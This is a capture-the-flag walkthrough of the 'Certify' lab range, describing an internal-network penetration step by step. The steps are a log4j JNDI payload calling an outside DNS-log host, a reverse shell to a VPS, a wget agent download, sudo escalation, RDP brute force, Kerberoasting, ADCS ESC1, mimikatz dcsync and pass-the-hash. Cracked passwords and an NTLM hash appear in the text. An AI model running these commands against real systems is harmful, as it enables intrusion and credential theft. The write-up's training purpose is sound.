[[Simulation Target - Certify]]#
Target Introduction#
Certify is a medium-difficulty target environment. Completing this challenge can help players understand proxy forwarding, internal network scanning, information gathering, privilege escalation, and lateral movement techniques in internal network penetration, enhance their understanding of the core authentication mechanisms in domain environments, and master some interesting technical points in domain penetration. This target has a total of 4 flags distributed across different target machines.
- Solr
- AD CS
- SMB
- Kerberos
- Domain Penetration
Problem-Solving Steps#
First Flag#
Nmap scan
80 port scan directory yielded no results
Nmap full port scan
Accessing http://39.99.234.17:8983/solr/#/ shows the Solr interface, which may have a log4j vulnerability
Access http://39.99.234.17:8983/solr/admin/info/system?_=${jndi:ldap://1fed89d19d.ipv6.1433.eu.org}&wt=json to test if DNS log can be accessed, as shown, it can be accessed, possibly indicating a log4j vulnerability
Reverse shell
Using JNDI to return a shell on the VPS
At the same time, start listening on the VPS
nc -lvnp 1234
ldap://x.x.x.x:1389/Basic/ReverseShell/vps's ip address/1234
Send the request successfully returns a shell
The Solr user did not find the flag, need to escalate to the root user
sudo -l, check the files that can be run with sudo privileges, you can find that the /usr/bin/grc file can be run as root without entering the root password
Directly run the /usr/bin/grc file, the output is as follows, pay attention to the --pty parameter
You can find the method to escalate privileges using grc on the website https://gtfobins.github.io/gtfobins/grc/
sudo grc --pty /bin/sh
Obtain the first flag
Second Flag#
Check the server IP, the Solr server's IP address is: 172.22.9.19
Upload fscan for scanning
The information after scanning is organized as follows:
172.22.9.7 XIAORANG\XIAORANG-DC #dc server
172.22.9.26 #domain machine
172.22.9.47 #fileserver
172.22.9.19 #solr server
Note: After looking at someone else's write-up, I found that there is one less server here, and the next two flags cannot be obtained.
Proxy the internal network traffic using venom
- Listen on the VPS
./admin_linux_x64 -lport 9999
- At the same time, start a web service on the VPS
python3 -m http.server
- Download the agent on the Solr target machine
wget http://vps's ip address:8000/agent_linux_x64
- Run the venom agent on the target machine to connect to the server
./agent_linux_x64 -rhost vps's ip address -rport 9999
Start the socks proxy
First, check the file server to test if file sharing exists
Modify the /etc/proxychains4.conf file in Kali to set the proxy server
Nmap scan
proxychains -q nmap -sT -A 172.22.9.47
proxychains smbclient \\\\172.22.9.47\\fileshare
get personnel.db
get secret\flag02.txt
Obtained the second flag
tips: Yes, you have enumerated smb. But do you know what an SPN is? (Indeed, you have mentioned smb. But do you understand what SPN means?)
Third Flag#
Check the personnel.db file, where you can find some usernames and passwords
Export usernames and passwords, and use hydra to brute force RDP, two accounts were cracked, but unable to log in
proxychains hydra -L user.txt -P pwd.txt 172.22.9.26 rdp -vV
The error message tells us that the account may be valid, but it seems that remote desktop functionality is not enabled.
According to the hint in flag02 (Indeed, you have mentioned smb. But do you understand what SPN means?)
Go to obtain the SPN under the domain user
proxychains -q python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian
Input the password obtained from hydra
Obtained the krb5tgs Kerberos TGS-REP (Ticket-Granting Service Reply) ticket hash
Brute force using hashcat
hashcat -m 13100 -a 0 hash.txt wordlist.txt
Cracked the passwords for zhangxia and chenchen
The passwords are as follows:
MyPass2@@6
@Passw0rd@
RDP connection
proxychains xfreerdp /u:"[email protected]" /v:172.22.9.26:3389
Successfully accessed the RDP of 172.22.9.26
Unable to access the administrator directory, the flag is in this directory.
Fourth Flag#
ADCS ESC1#
Reference:
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
https://book.hacktricks.xyz/v/cn/windows-hardening/active-directory-methodology/ad-certificates/account-persistence
Download the Certify file and upload it to 172.22.9.26
Certify download: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
Run the following command:
# Find vulnerable certificate templates
Certify.exe find /vulnerable
Check the certificate templates that have the msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT flag set, exploit this vulnerability to impersonate an administrator
Note: However, an error occurred after running, and after investigation, it was found that there was still a server that had not started in this environment, 172.22.9.13, which is the CA server. After retrying several times, it still did not start.
Normally, this step can apply for a certificate for the domain administrator, output a certificate file. Then convert the certificate format to .pfx format.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Then use Rubeus or certipy for authentication
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password: /ptt
After obtaining the ticket, export the hash
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /user:Administrator" exit
Running the above command will allow you to obtain the hashes of domain users and domain admins.
Hash Passing#
With the hash, you can perform hash passing to gain domain user permissions
proxychains crackmapexec smb 172.22.9.26 -u administrator -H2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
Similarly obtain the permissions of 172.22.9.7 (domain admin)
proxychains crackmapexec smb 172.22.9.7 -u administrator -H00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\Users\Administrator\flag\flag04.txt"
